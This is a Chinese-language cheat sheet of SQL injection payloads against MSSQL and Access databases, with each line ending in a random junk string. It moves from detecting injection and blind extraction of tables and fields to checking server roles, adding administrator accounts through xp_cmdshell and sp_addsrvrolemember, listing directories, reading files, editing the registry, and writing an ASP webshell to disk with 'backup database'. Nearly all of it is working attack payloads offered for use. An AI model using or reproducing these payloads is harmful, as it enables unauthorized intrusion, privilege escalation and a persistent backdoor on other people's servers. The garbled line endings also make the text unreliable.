1.判断是否有注入;and 1=1 ;and 1=2 nY'0*:'u
2.初步判断是否是mssql ;and user>0 GX&BUP\
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3.注入参数是字符'and [查询条件] and ''=' n%"q>
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y]P';C_eP
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5.判断数据库系统 @R_a'v-
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;and (select count(*) from sysobjects)>0 mssql BdG~y1%:
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;and (select count(*) from msysobjects)>0 access e Pq(:ih
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]U!vZY@\
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 X,IjM&o"Y
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ?FVX &{{V
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9.(1)猜字段的ascii值(access) C$vKRg\o
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )y\^5>p[
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(2)猜字段的ascii值(mssql) ,3.E]_3xX
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 N#Y%+1
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10.测试权限结构(mssql) 3xxQL,FV
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >N@tInE
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- gV$j ]
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <{bQl
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }&I\a
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- nT..+J)
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P9p:x6
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;and 1=(select IS_MEMBER('db_owner'));-- _G|hKk^,
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11.添加mssql和系统的帐户 |!E>I
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;exec master.dbo.sp_addlogin username;-- "~(qp_AI
;exec master.dbo.sp_password null,username,password;-- z8_m<uewz
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1
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;exec master.dbo.xp_cmdshell 'net user username password |iKk'Rta4
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >A5R
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- `E+)e?z
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $h`(toTyF
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12.(1)遍历目录 |t+M/C0y/
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;create table dirs(paths varchar(100), id int) 9] fhH
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;insert dirs exec master.dbo.xp_dirtree 'c:\' C,~wmS )@
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;and (select top 1 paths from dirs)>0 \ZX5dFu0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) i]J*lM7'
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(2)遍历目录 XTEC0s"F
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (|)`~z
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 c[\ :^w^I6
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Ko_Sx.
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 KY34Sc
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 !Ob
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13.mssql中的存储过程 O4RNt,?l
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xp_regenumvalues 注册表根键, 子键 s7.2EkGl=
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5v <>%=
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xp_regread 根键,子键,键值名 A}WRpsA9
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xxkUu6x#
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xp_regwrite 根键,子键, 值名, 值类型, 值 Atsi}zTR\
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i{[=N9U5o
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xp_regdeletevalue 根键,子键,值名 uw!
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 VH[r@Pn
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 MJNY#v3
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14.mssql的backup创建webshell [M>Md-pj
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use model 88}+.-3t$
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create table cmd(str image); rMXIw
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insert into cmd(str) values (''); Z|;<:RKWY
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backup database model to disk='c:\l.asp'; SY\ UuZ
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15.mssql内置函数 1=BDqSZ@9
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;and (select @@version)>0 获得Windows的版本号 V.zKjoky@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa +Qy*s1fit
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;and (select user_name())>0 爆当前系统的连接用户 0#(K}9T)
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;and (select db_name())>0 得到当前连接的数据库 dmh6o *
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16.简洁的webshell N]n]7(e+0C
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use model Q'-V\G)11
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create table cmd(str image); 7sP;+G
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insert into cmd(str) values (''); )aoB-Lu
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backup database model to disk='g:\wwwtest\l.asp';